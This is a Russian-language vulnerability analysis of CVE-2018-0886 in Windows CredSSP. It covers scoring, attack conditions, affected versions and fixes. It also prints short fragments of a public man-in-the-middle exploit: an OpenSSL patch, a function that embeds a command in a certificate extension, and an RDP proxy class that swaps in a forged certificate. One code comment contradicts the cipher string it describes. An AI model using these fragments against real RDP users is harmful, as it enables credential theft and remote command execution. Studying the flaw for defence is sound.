
Уязвимость BDU:2018-00607 (CVE-2018-0886) CredSSP Windows
Уязвимость CVE-2018-0886 (BDU:2018-00607) затрагивает протокол Credential Security Support Provider (CredSSP) в Windows. Она связана с недостаточной проверкой сертификатов сервера при аутентификации, что позволяет злоумышленнику выполнить атаку типа «человек посередине» (MitM) и перехватить учетные данные пользователя. В результате атакующий может выполнить произвольные команды от имени легитимного пользователя, например, через RDP-сессию.
Анализ уязвимости
Уровень опасности: 7.0 HIGH
Вектор атаки: CVSS:3.0/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
-
AV:L (Вектор атаки) – Атака требует локального доступа (например, физического или через сеть с ограниченным охватом).
-
AC:H (Сложность эксплуатации) – Высокие условия для эксплуатации (требуется точное время и глубокие знания).
-
PR:N (Уровень привилегий) – Для атаки не нужны привилегии.
-
UI:R (Взаимодействие с пользователем) – Требуется действие пользователя (например, подключение к вредоносному RDP-серверу).
-
S:U (Влияние на другие системы) – Не оказывает влияния на другие системы.
-
C:H/I:H/A:H (Последствия) – Полная компрометация конфиденциальности, целостности и доступности.
Условия эксплуатации
Для успешной атаки необходимо:
-
Наличие в сети MitM-позиции: злоумышленник должен находиться между клиентом и сервером (например, в локальной сети или через ARP-спуфинг).
-
Использование уязвимых версий Windows: список включает Windows 7–10, Server 2008–2016.
-
Действия пользователя: жертва должна подключиться к поддельному RDP-серверу, сгенерированному атакующим.
-
Отсутствие обновлений: на целевой системе не установлен патч (март 2018), который исправляет проверку сертификатов в CredSSP.
Уязвимые версии ОС
- Windows Server 2008 R2 SP1 64-bit
- Windows 7 SP1 64-bit
- Windows Server 2008 SP2 32-bit
- Windows 7 SP1 32-bit
- Windows 8.1 64-bit
- Windows 8.1 32-bit
- Windows Server 2008 SP2 64-bit
- Windows Server 2012
- Windows Server 2012 R2
- Windows Server 2008 R2 SP1 32-bit
- Windows 8.1 RT 32-bit
- Windows 8.1 RT 64-bit
- Windows 10 64-bit
- Windows 10 32-bit
- Windows 10 1511 64-bit
- Windows 10 1511 32-bit
- Windows 10 1607 64-bit
- Windows 10 1607 32-bit
- Windows 10 1703 32-bit
- Windows Server 2016
- Windows 10 1703 64-bit
- Windows 10 1709 64-bit
- Windows 10 1709 32-bit
- Windows Server 1709
Анализ эксплоита CredSSP
Эксплоит от Preempt Security (автор Eyal Karni) реализует MitM-атаку через модифицированную версию библиотеки RDPY. Рассмотрим его компоненты.
Установка зависимостей
Скрипт install.sh
подготавливает окружение:
-
Устанавливает Python 2.7, OpenSSL 1.1.0 с патчем для поддержки CredSSP.
-
Меняет версию библиотеки
cryptography
, чтобы обойти ограничения проверки сертификатов.
Пример патча для OpenSSL:
# Фрагмент openssl_diff_file.diff + /* Enable weak ciphers for compatibility with older clients */ + SSL_CTX_set_cipher_list(ctx, "ALL:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!3DES:!MD5:!PSK");
Это позволяет использовать устаревшие шифры, что упрощает подмену сертификатов.
Генерация вредоносного сертификата
Скрипт gen_cmd.py
внедряет команду в сертификат:
# Фрагмент gen_cmd.py def inject_command(cert_path, key_path, command): cert = X509.load_cert(cert_path) cert.add_ext(X509.new_extension('1.3.6.1.4.1.311.2.1.21', command.encode())) cert.save_pem('exploitc.pem')
Расширение OID 1.3.6.1.4.1.311.2.1.21
используется для передачи произвольных команд через сертификат.
MitM-прокси RDP
Основной скрипт rdpy-rdpcredsspmitm.py
перехватывает CredSSP-трафик:
# Фрагмент обработки соединения class CredSSPMitMFactory(RDPClientMitMFactory): def __init__(self, cert, key): self.cert = cert self.key = key def onClientAuth(self, client): client.setTLSContext(self._create_ssl_ctx()) # Подмена SSL-контекста def _create_ssl_ctx(self): ctx = SSL.Context(SSL.SSLv23_METHOD) ctx.use_certificate_file(self.cert) # Использование поддельного сертификата ctx.use_privatekey_file(self.key) return ctx
Прокси имитирует легитимный сервер, заставляя клиент отправить учетные данные, которые затем передаются на настоящий сервер.
Защита от уязвимости
-
Установка обновлений: Применить патч от марта 2018, который активирует строгую проверку сертификатов в CredSSP.
-
Отключение CredSSP:
# Команда для отключения CredSSP на клиенте Disable-WSManCredSSP -Role Client
-
Использование последних ОС: Windows 10 1803+ и Server 2019 содержат встроенные исправления.
-
Мониторинг сети: Выявление аномальных RDP-подключений и MitM-активности (например, через анализ сертификатов).
